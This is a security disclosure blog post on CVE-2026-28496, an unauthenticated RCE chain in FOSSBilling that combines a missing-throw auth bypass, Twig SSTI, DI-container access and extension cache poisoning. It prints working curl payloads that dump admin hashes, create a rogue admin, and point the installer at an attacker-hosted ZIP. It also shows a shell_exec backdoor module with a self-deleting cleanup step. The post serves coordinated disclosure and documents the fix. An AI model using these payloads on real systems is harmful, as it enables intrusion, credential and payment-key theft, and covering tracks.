Go back

CVE-2026-28496 - FOSSBilling Auth Bypass and Twig SSTI to Unauthenticated RCE

Valentin Lobstein (Chocapikk)

Valentin Lobstein (Chocapikk)

chocapikk.com

Today VulnCheck is disclosing CVE-2026-28496, an unauthenticated remote code execution chain in FOSSBilling, the open-source billing and client-management platform. It is being disclosed in accordance with VulnCheck's coordinated vulnerability disclosure policy. FOSSBilling shipped a fix in 0.8.0 (2026-05-28); anyone still on 0.7.2 or earlier is exposed.

Background

I keep an eye on the software small hosting providers actually run, and FOSSBilling kept coming up: it is the open-source answer to WHMCS, the platform you self-host to bill customers and provision servers without paying for a license. The Docker image is past 52,000 pulls, the GitHub releases have been downloaded 29,000+ times, and the repository sits at 1,500+ stars. Each of those installs holds payment-processor keys and customer PII.

What caught my attention is the gap between the warning label and how the thing actually gets run. The maintainers call FOSSBilling "not production-ready," yet the project ships a stable release branch, a production Docker image, and a live demo. People read "stable release" and put it in front of real customers. So the question I went in with was simple: against a default install, how much does an unauthenticated attacker actually get?

The answer is everything. The entry point is a single missing keyword, a throw dropped during a 2023 refactor that sat in production for almost three years. On its own it opens every admin endpoint to anonymous callers. Chained with an unsandboxed Twig renderer behind one of those endpoints, it collapses the whole authentication model into one HTTP request, with full database read as the floor and remote code execution as the ceiling.

Summary

Two chained vulnerabilities in FOSSBilling, an open-source billing and client management platform:

  1. Authentication Bypass (CVE-2026-27604, advisory GHSA-78x5-c8gw-8279): a missing throw keyword in the API role checker exposes every admin endpoint to unauthenticated callers via /api/system/.
  2. Unsandboxed Twig SSTI with DI Container Exposure (CVE-2026-28496, advisory GHSA-57mv-jm88-66jc): the string_render admin API renders arbitrary Twig templates with no sandbox, and the guest API handler exposes getDi(), returning the full Pimple DI container (PDO, cache, password hashing, extension manager, and 40 other services).

Note on CVE IDs and credit. The unsandboxed Twig SSTI sink (string_render) is tracked as CVE-2026-28496 (advisory GHSA-57mv-jm88-66jc). The base sink was reported separately; the FOSSBilling advisory credits me for identifying the getDi() DI-container exposure and the RCE escalation chain documented below, which is what raised the advisory's impact to remote code execution. The auth bypass was reported independently and is tracked as CVE-2026-27604 (advisory GHSA-78x5-c8gw-8279).

Chained, an unauthenticated attacker can execute arbitrary SQL, create admin accounts, poison the Symfony cache to redirect the extension installer, install a malicious PHP module, and obtain remote code execution as the web server user.

Affected versions: the unauthenticated chain affects 0.5.4 through 0.7.2, the range where the auth bypass (CVE-2026-27604) is present. The SSTI sink itself (CVE-2026-28496) reaches further back, affecting 0.1.0 through 0.7.2, but on its own it requires an admin session. Both bugs were fixed in 0.8.0 (released 2026-05-28); main and the 0.8.x line are not affected.

Root Cause

The vulnerability lives in src/modules/Api/Controller/Client.php, in the method that validates API role access:

private function isRoleAllowed($role): bool
{
    $allowed = ['guest', 'client', 'admin'];
    if (!in_array($role, $allowed)) {
        new \FOSSBilling\Exception('Unknown API call :call', [':call' => ''], 701);
    }

    return true;
}

The exception is constructed and then never thrown. It just sits there, doing nothing, like a bouncer who checks your ID, sees it is fake, writes an angry note about it, pockets the note, and waves you in anyway. The intended code is:

throw new \FOSSBilling\Exception('Unknown API call :call', [':call' => ''], 701);

The bug was introduced in PR #1376 ("Exception messages cleanup") on July 3, 2023, during a refactor that added a placeholder to the error message. The previous code was:

throw new \Box_Exception('Unknown API call', null, 701);

It passed code review and sat in production for nearly three years. Five characters, mass-deployed to billing systems that handle real money. The PR had two reviewers; neither caught it, and you can hardly blame them. The construct is valid PHP: the exception object gets allocated, evaluated, and silently dropped by the garbage collector. No linter fires unless CI flags unused expressions, which FOSSBilling's does not. Sometimes the worst bugs are not clever at all. They are one missing keyword in a refactor nobody reads twice.

FOSSBilling's API Architecture

All API requests are routed through a single controller at /api/:role/:module/:method. The :role segment determines the permission level. Four roles are defined:

  • /api/guest/: public, no authentication required.
  • /api/client/: requires an authenticated client session.
  • /api/admin/: requires an authenticated admin session.
  • /api/system/: internal role for cron jobs, runs with the ROLE_CRON identity.

ROLE_CRON is privileged: when the Staff service evaluates permissions for this role, it returns true unconditionally, bypassing the per-module permission checks that admin sessions are subject to. God mode, and intentional, because cron jobs need unrestricted access to all modules. Reasonable enough. The role is meant to be reachable only from internal callers.

isRoleAllowed() is the gate that is supposed to keep external requests away from system. With the missing throw, the gate is wedged open: any unauthenticated client can swap /api/admin/ for /api/system/ in the URL and inherit the cron identity. That is not just information disclosure. Because system skips the per-module checks that even admins answer to, an anonymous attacker with a curl binary walks away with higher effective privilege than the site owner.

Step 1: Confirming the Auth Bypass

The admin-only string_render endpoint in the System module renders Twig templates. Through /api/system/ it becomes accessible without authentication:

curl -s -X POST http://target/api/system/system/string_render \
  -H "Content-Type: application/json" \
  -d '{"_tpl": "{{ 7*7 }}"}'
{"result": "49", "error": null}

The same request through /api/admin/ is correctly rejected:

{"result": null, "error": {"message": "Authentication Failed", "code": 206}}

Two things fall out of that one request: the auth bypass works, and string_render is a server-side template injection. The method hands user input straight to Twig's createTemplate() with no sandbox, no security policy, no filtering. It is the please-hack-me endpoint, and it was sitting behind an auth wall that forgot how to auth.

Step 2: Reaching the DI Container

SSTI on its own is like finding an unlocked terminal in the lobby: interesting, but you only get what is already on screen. Twig does not hand you system() or file_put_contents(). The real question is which objects live in the rendering context. Spoiler: all of them.

FOSSBilling's Twig environment is configured in di.php. It registers a guest global variable, which is an instance of Api_Handler. This class implements InjectionAwareInterface, which provides getDi() and setDi() methods. In Pimple-based applications, any object implementing this interface holds a reference to the full DI container.

Calling guest.getDi() from inside a template returns the Pimple container with every registered service. The application just handed over its entire internal wiring diagram and said pull whatever wire you like. Listing the keys:

curl -s -X POST http://target/api/system/system/string_render \
  -H "Content-Type: application/json" \
  -d '{"_tpl": "{% set di = guest.getDi() %}{{ di.keys | join(\", \") }}"}'
{"result": "logger, crypt, pdo, db, dbal, em, pager, url, mod, mod_service, mod_config, events_manager, session, request, cache, auth, twig, is_client_logged, is_client_email_validated, is_admin_logged, loggedin_client, loggedin_admin, set_return_uri, api, api_guest, api_client, api_admin, api_system, tools, validator, central_alerts, extension_manager, updater, server_manager, period, theme, cart, table, license_server, geoip, password, translate, table_export_csv, parse_markdown", "error": null}

That is 44 services reachable from a single unauthenticated request. The ones that matter for exploitation:

  • pdo, dbal, em: three database access layers (raw PDO, Doctrine DBAL, Doctrine EntityManager). Any of them allows arbitrary SQL.
  • cache: Symfony FilesystemAdapter, readable and writable. Stores extension marketplace responses.
  • password: password hashing service. Generates bcrypt hashes compatible with FOSSBilling's authentication.
  • session, auth: session and authentication services.
  • api_system: the system API handler, with ROLE_CRON privileges. A second route to admin functionality.
  • twig: the Twig environment, reconfigurable.
  • extension_manager, updater: extension marketplace client and core updater.

The Twig attribute() function reaches into the container. Pimple implements ArrayAccess, so attribute(di, "offsetGet", ["pdo"]) is equivalent to $di['pdo'] in PHP, returning the raw PDO connection.

Step 3: Database Access

With direct PDO access, queries run unmodified against the database:

curl -s -X POST http://target/api/system/system/string_render \
  -H "Content-Type: application/json" \
  -d '{"_tpl": "{% set di = guest.getDi() %}{% set pdo = attribute(di, \"offsetGet\", [\"pdo\"]) %}{% set stmt = pdo.query(\"SELECT email, pass, role FROM admin\") %}{% for row in stmt %}{{ row.email }} | {{ row.role }} | {{ row.pass }}\n{% endfor %}"}'
{"result": "admin@company.com | admin | $2y$12$Pykcs7qro...\ncron@internal | cron | $2y$12$qLCPhm...\n", "error": null}

One unauthenticated request, every admin account and its bcrypt hash. No injection, no blind extraction, no time-based tricks: just politely asking the database through a template engine that was never meant to be a SQL client. Twig renders HTML. Here it is running SELECT * FROM admin. The framework is not having a good day. The same primitive reads client (customer credentials), pay_gateway (payment processor config), invoice (financial records), and every other table.

pdo.prepare() and stmt.execute() are both reachable too, so we get parameterized writes. Yes, prepared statements, from inside a template injection. Cleaner SQL than a lot of production PHP. This is fine.

Step 4: Creating an Admin Account

A sane person stops here and writes the advisory. We have every credential, every invoice, every Stripe key. Cute. We want a shell. If it does not end in uid=33(www-data), we are not done. The password service exposes hashIt(), the exact hashing routine the application uses, so we are not breaking the lock, we are borrowing the front door's own key duplicator. Combine it with PDO and a new administrator goes straight in:

curl -s -X POST http://target/api/system/system/string_render \
  -H "Content-Type: application/json" \
  -d '{"_tpl": "{% set di = guest.getDi() %}{% set pdo = attribute(di, \"offsetGet\", [\"pdo\"]) %}{% set h = attribute(di, \"offsetGet\", [\"password\"]) %}{% set hp = h.hashIt(\"Evil123!\") %}{% set st = pdo.prepare(\"INSERT INTO admin (role, admin_group_id, email, pass, name, status, created_at, updated_at) VALUES (?,?,?,?,?,?,NOW(),NOW())\") %}{% set r = st.execute([\"admin\", 1, \"evil@admin.com\", hp, \"pwn\", \"active\"]) %}{{ r ? \"OK\" : \"FAIL\" }}"}'
{"result": "OK", "error": null}

admin_group_id = 1 drops the account in the Administrators group with full rights; status = "active" makes it usable immediately. Login is the public guest staff endpoint, the same one real admins use:

curl -s -X POST http://target/api/guest/staff/login \
  -H "Content-Type: application/json" \
  -b cookies.txt -c cookies.txt \
  -d '{"email": "evil@admin.com", "password": "Evil123!"}'
{"result": {"id": 3, "email": "evil@admin.com", "name": "pwn", "role": "admin"}, "error": null}

Step 5: Cache Poisoning

Being admin is only half the job. You would think: admin, game over, upload a PHP shell. Normally, yes. But credit where it is due, FOSSBilling installs extensions only from its official marketplace at extensions.fossbilling.org, and the URL is hardcoded as a private property in ExtensionManager, not exposed through the admin UI, any API, or any environment variable. They thought about supply-chain security here. They just forgot about the cache.

The Symfony cache layer is the gap. The install code path is:

  1. Extension\Api\Admin::install() calls Extension\Service::downloadAndExtract().
  2. downloadAndExtract() calls ExtensionManager::getLatestExtensionRelease($id).
  3. getLatestExtensionRelease() calls getExtensionReleases(), then getExtension().
  4. getExtension() calls makeRequest('extension/' . $id).
  5. makeRequest() checks the Symfony cache: if a cached response exists for the endpoint, it returns the cached value without contacting the marketplace.

The cache is a fully trusted store. Once a value is in it, makeRequest() returns it as if the marketplace had answered: no signature, no integrity check, no re-validation. Trusted like a signed package, except anyone with DI access can rewrite it. Write the manifest before the real fetch happens and you own what downloadAndExtract() reads, download URL included.

The cache key is just the endpoint string concatenated with the serialized params: endpoint + serialize(params). For an extension lookup that is extension/Custommodulea:0:{}, where a:0:{} is serialize([]) because makeRequest() passes nothing else. Symfony's FilesystemAdapter mangles that into an on-disk id internally, but here is the trick: both the read path and our poison call pass the same logical string, so Symfony derives the same id for both and cache.getItem("extension/Custommodulea:0:{}") lands on exactly the entry the installer will read. No need to reproduce the hashing.

FOSSBilling's Twig environment does not register a hash() filter, so there is nothing to compute server-side anyway. We build the key client-side and drop it straight into the template:

curl -s -X POST http://target/api/system/system/string_render \
  -H "Content-Type: application/json" \
  -d '{"_tpl": "{% set di = guest.getDi() %}{% set cache = attribute(di, \"offsetGet\", [\"cache\"]) %}{% set item = cache.getItem(\"extension/Custommodulea:0:{}\") %}{% set a = item.expiresAfter(3600) %}{% set fake = {\"id\":\"Custommodule\",\"releases\":[{\"download_url\":\"http://attacker:9999/custommodule.zip\",\"min_fossbilling_version\":\"0.0.1\",\"version\":\"1.0.0\"}],\"minimum_fossbilling_version\":\"0.0.1\"} %}{% set b = item.set(fake) %}{% set r = cache.save(item) %}{{ r ? \"OK\" : \"FAIL\" }}"}'
{"result": "OK", "error": null}

The manifest matches the structure expected by getLatestExtensionRelease(): an id, a releases array with download_url, min_fossbilling_version, and version fields, plus a top-level minimum_fossbilling_version. expiresAfter(3600) gives the entry a one-hour TTL, ensuring it survives long enough for the install request to consume it.

When the admin session hits install, makeRequest() finds our entry and serves it as the marketplace response. The download_url now points at our server. FOSSBilling is about to install malware on itself, voluntarily, through its own extension installer.

Step 6: Delivering the Malicious Extension

A FOSSBilling module follows a fixed layout. A module named Custommodule lives at modules/Custommodule/ and requires:

  • manifest.json: module metadata (id, name, version).
  • Service.php: the service class implementing InjectionAwareInterface.
  • Api/Guest.php: public API methods, accessible without authentication via /api/guest/<module>/<method>.

Api/Guest.php is the executor. Any public method on it becomes a callable, unauthenticated endpoint: the router instantiates the class and dispatches on method name and request params. Name a method exec and have it call shell_exec, and you have just shipped unauthenticated RCE as a feature:

class Guest extends \Api_Abstract
{
    public function exec($data)
    {
        return shell_exec($data['cmd'] ?? 'id');
    }

    public function cleanup($data)
    {
        $dir = dirname(__DIR__);
        $it = new \RecursiveIteratorIterator(
            new \RecursiveDirectoryIterator($dir, \FilesystemIterator::SKIP_DOTS),
            \RecursiveIteratorIterator::CHILD_FIRST
        );
        foreach ($it as $f) {
            $f->isDir() ? rmdir($f->getPathname()) : unlink($f->getPathname());
        }
        rmdir($dir);
        return true;
    }
}

The attacker hosts the module as a ZIP archive on the URL embedded in the poisoned cache entry. The admin session created in Step 4 calls install and activate:

curl -s -X POST http://target/api/admin/extension/install \
  -H "Content-Type: application/json" -b cookies.txt \
  -d '{"CSRFToken": "<token>", "id": "Custommodule", "type": "mod"}'

curl -s -X POST http://target/api/admin/extension/activate \
  -H "Content-Type: application/json" -b cookies.txt \
  -d '{"CSRFToken": "<token>", "id": "Custommodule", "type": "mod"}'

FOSSBilling downloads the ZIP, extracts it under modules/Custommodule/, registers the module in the database, and loads it.

Step 7: Unauthenticated RCE

The module is live. We went from zero access to a PHP backdoor registered as an official FOSSBilling extension, served through its own API framework, on a clean URL. The billing system is hosting our malware as a first-class citizen. Its Guest API answers anyone, no auth:

curl -s -X POST http://target/api/guest/custommodule/exec \
  -H "Content-Type: application/json" \
  -d '{"cmd": "id"}'
{"result": "uid=33(www-data) gid=33(www-data) groups=33(www-data)\n", "error": null}

Cleanup

We are done, time to leave, and we are not animals, so we clean up after ourselves. The module's cleanup() method walks its own directory with RecursiveIteratorIterator and deletes every file and folder; the last thing it does before its own files vanish is return a success response. The admin row and the module's database record go in a follow-up SSTI plus PDO request. After cleanup: no module files on disk, no rogue admin, no cache entry. Ghost mode. The only trace left is the web server access log, and even that shows generic /api/system/ and /api/guest/ hits with nothing distinguishing in the URL. Good luck writing that incident report.

Full Chain

Unauthenticated attacker
  |
  | POST /api/system/system/string_render (auth bypass via missing throw)
  |
  v
SSTI -> guest.getDi() -> PDO
  |
  | INSERT INTO admin (...)
  |
  v
POST /api/guest/staff/login (admin session)
  |
  | SSTI -> getDi() -> cache.save() (poisoned extension manifest)
  |
  v
POST /api/admin/extension/install (downloads attacker ZIP)
POST /api/admin/extension/activate
  |
  v
POST /api/guest/custommodule/exec {"cmd": "id"}
  -> uid=33(www-data)

Every step is automated in the PoC: from zero to shell in seconds. The fix is a five-character patch; the exploit is a few hundred lines of code. They forgot to throw, and the whole system threw up.

Impact

FOSSBilling is a billing and client management platform used by hosting providers to manage customers, process payments, and automate server provisioning. The database contains the operational data of the hosting business that operates it.

Even without escalation to RCE, the credential exposure alone is significant. The relevant tables:

  • client: full names, email addresses, physical addresses, phone numbers, company names, VAT numbers, and document identifiers. PII regulated under GDPR and equivalent regimes.
  • pay_gateway: payment processor configuration, including Stripe secret keys, PayPal credentials, and custom gateway tokens, stored serialized in the database. These are not public keys. These are the charge-any-card, refund-to-any-account keys, the ones Stripe tells you to never expose, sitting one query behind an auth wall that does not auth.
  • invoice, invoice_item, transaction: complete billing history. Allows modification of unpaid invoices to redirect payments, or fabrication of paid status.
  • service_hosting_server: this is where it gets ugly. Server management panel credentials (cPanel, Plesk, DirectAdmin) used for automated provisioning. A billing-system compromise is not just about the billing system, it is the skeleton key to every server the provider manages. One missing throw, and every customer's website, email, and database is in reach.
  • service_hosting: per-customer hosting account details, including passwords and server assignments.
  • support_ticket, support_ticket_message: customer communications. If you have ever worked in hosting you know what is in there: "hi, my password is P@ssw0rd123 and my FTP is not working." Years of it, credentials in plaintext, server access details, all in one query.
  • session and admin api_token field: active sessions and persistent API tokens.

Deployment exposure

FOSSBilling's Docker image has 52,000+ pulls, GitHub releases have been downloaded 29,000+ times, and the project has 1,500+ stars. The maintainers were not shy about the risk, either. Every affected release shipped the same disclaimer in its README: FOSSBilling is "currently very much beta software," "there may be stability or security issues," and it is "not yet officially recommended for use in active production environments." Nobody reads that line and closes the tab. The project ships a stable release branch, a production Docker image with 52,000+ pulls, and a live demo at demo.fossbilling.org, which is precisely the shape of software that ends up billing real customers. We have never once seen a "not for production" label keep anything out of production, and a payment platform with a one-command Docker image is going straight into it.

The disclaimer did not even survive the fix. In 0.8.0, the release that patched this chain, the warning lost its teeth: the "security issues" and "production environments" wording is gone, replaced by a tidy "expect rough edges and limited support." As far as we are concerned, the accurate version of that sentence was the one they deleted.

Counting live deployments precisely is hard: hosting providers routinely strip the "Powered by" footer and rebrand the app, which erases the markers asset-discovery tools rely on. WHMCS, for comparison, shows 10,000+ detected installations because most deployments keep the default footer. Our conservative estimate puts FOSSBilling in the low thousands of production instances, each one managing client data, payment processor credentials, and access to provisioned servers.

Minimum viable attack

The full RCE chain demonstrates worst-case impact, but a single unauthenticated request to string_render carrying a SQL query is sufficient to extract every credential in the database. No admin account, no extension install, no shell. One POST request returns the application's stored credentials and customer data.

Timeline

DateEvent
2023-07-03Auth-bypass bug introduced: the throw is dropped from isRoleAllowed() during the refactor in PR #1376
2023-07-06FOSSBilling 0.5.4 released, the first version carrying the bug
2026-04-08Chain discovered and reported to FOSSBilling through the VulnCheck CNA; two CVEs requested (auth bypass and SSTI/DI chain), 120-day disclosure deadline set for 2026-08-06
2026-04-14Maintainer confirms the auth bypass and closes it as a duplicate of an existing private advisory (GHSA-78x5-c8gw-8279, CVE-2026-27604)
2026-04-15Auth bypass fixed upstream: throw restored in isRoleAllowed() (#3396)
2026-04-24Maintainer confirms the Twig SSTI overlaps an existing report (GHSA-57mv-jm88-66jc) but rules the getDi() DI-container exposure and the PDO / cache-poisoning RCE escalation novel; folds them in, raises the advisory impact to RCE, and credits me as a finder (CVE-2026-28496)
2026-05-11SSTI fixed upstream: string_render routed through a sandboxed renderer (#3524)
2026-05-28FOSSBilling 0.8.0 released, shipping both fixes (first fixed release)
2026-06-18FOSSBilling publishes advisory GHSA-57mv-jm88-66jc / CVE-2026-28496, ahead of the 2026-08-06 deadline, to give users an upgrade window
2026-06-23This disclosure

The auth bypass (missing throw) collided with a prior independent report and is tracked as CVE-2026-27604 (GHSA-78x5-c8gw-8279); that report stopped at the entry point, establishing that admin endpoints are reachable through /api/system/ but not what an attacker does with that access. The base string_render SSTI sink (CVE-2026-28496) was also reported separately.

The reason CVE-2026-28496 is an RCE at all, and what the FOSSBilling advisory credits me for, is the escalation from that admin-only sink to remote code execution on the host:

  • The discovery that FOSSBilling's guest global is an Api_Handler instance implementing InjectionAwareInterface, and that guest.getDi() returns the full Pimple container with PDO, cache, password hashing, session, extension manager and 39 other services.
  • The use of attribute(di, "offsetGet", [...]) to traverse the container from inside Twig, turning the SSTI into direct database access via pdo, controlled cache writes via cache, and admin account creation via password.hashIt() plus pdo.prepare() plus pdo.execute().
  • The cache poisoning chain against ExtensionManager::makeRequest, including the observation that the cache key is the raw endpoint + serialize(params) concatenation (Twig's hash() filter is not registered in FOSSBilling's environment, so the key is computed client-side and substituted into the SSTI payload).
  • The end-to-end RCE path through extension install + activate, with the attacker-served ZIP supplying a Guest.php whose public methods become unauthenticated /api/guest/<module>/<method> endpoints.

Patching only the auth bypass leaves every component of this chain in place. A future bypass in any other admin gate routes straight back through string_render, the DI container, and the cache.

Fix

Both bugs are fixed in FOSSBilling 0.8.0 (2026-05-28).

Auth bypass. PR #3396 (2026-04-15) restored the missing throw in src/modules/Api/Controller/Client.php:

- new \FOSSBilling\Exception('Unknown API call :call', [':call' => ''], 701);
+ throw new \FOSSBilling\Exception('Unknown API call :call', [':call' => (string) $role], 701);

An unknown role such as system is now rejected instead of falling through to return true. The same PR also hardened isRoleLoggedIn() to return the real auth state ((bool) ($this->di['is_admin_logged'] ?? false)) rather than resolving the service and discarding the result.

SSTI. PR #3524 (2026-05-11) removed the string_render / renderString sink and routed template-string rendering through a new FOSSBilling\Twig\SandboxedStringRenderer backed by a Twig SecurityPolicy. The policy (AdapterPolicy / EmailPolicy) permits a fixed set of tags and filters, but its allowed-methods and allowed-properties lists are empty:

// FOSSBilling\Twig\AdapterPolicy::create()
$tags    = ['if', 'for', 'block', 'apply', 'set', 'spaceless'];
$filters = ['escape', 'e', 'default', 'date', 'format_currency', 'trans', /* ... */];
$methods = [];     // no method calls allowed
$properties = [];  // no property access allowed
return new SecurityPolicy($tags, $filters, $methods, $properties, $functions);

With method calls disallowed, guest.getDi() is rejected by the sandbox before it can reach the container, which closes the DI-container pivot at its root. The guest global is no longer reachable as an unsandboxed SSTI sink.

This is the right shape: sandboxing the renderer kills the whole chain, since a future bypass of any other admin gate can no longer turn string_render into DI access. Hardening only the auth bypass would have left the SSTI sink in place.

Takeaways

The two bugs are individually unremarkable: a missing keyword in a role check and a template renderer with no sandbox. Chained, they reduce FOSSBilling's authentication model to a single unauthenticated request, with full database access as the floor and remote code execution as the ceiling. The 0.8.0 fix addresses the bug class rather than the entry point: sandboxing the renderer closes the DI-container pivot regardless of which gate an attacker uses to reach it. Operators running 0.7.2 or earlier should update to 0.8.0 or later.

About VulnCheck

VulnCheck empowers organizations to transcend the challenges of vulnerability prioritization. Our suite of solutions provides product managers, PSIRT teams, and threat hunters with the tools required for accelerated, high-precision operations and infinite efficiency.

Recognizing the industry-wide necessity for superior data velocity and accuracy, we deliver high-fidelity insights to the market. We remain committed to surfacing critical intelligence on vulnerability exploitation and emerging trends, leveraging our unique dataset to support the practitioner community.

To deepen your understanding of these threats, VulnCheck Exploit & Vulnerability Intelligence provides comprehensive coverage of global threat actors. Register for a demo to explore our intelligence today.

Ready to get Started?

Explore VulnCheck, a next-generation Cyber Threat Intelligence platform, which provides exploit and vulnerability intelligence to help you prioritize and remediate vulnerabilities that matter.
  • Vulnerability Prioritization
    Prioritize vulnerabilities that matter based on the threat landscape and defer vulnerabilities that don't.
  • Early Warning System
    Real-time alerting of changes in the vulnerability landscape so that you can take action before the attacks start.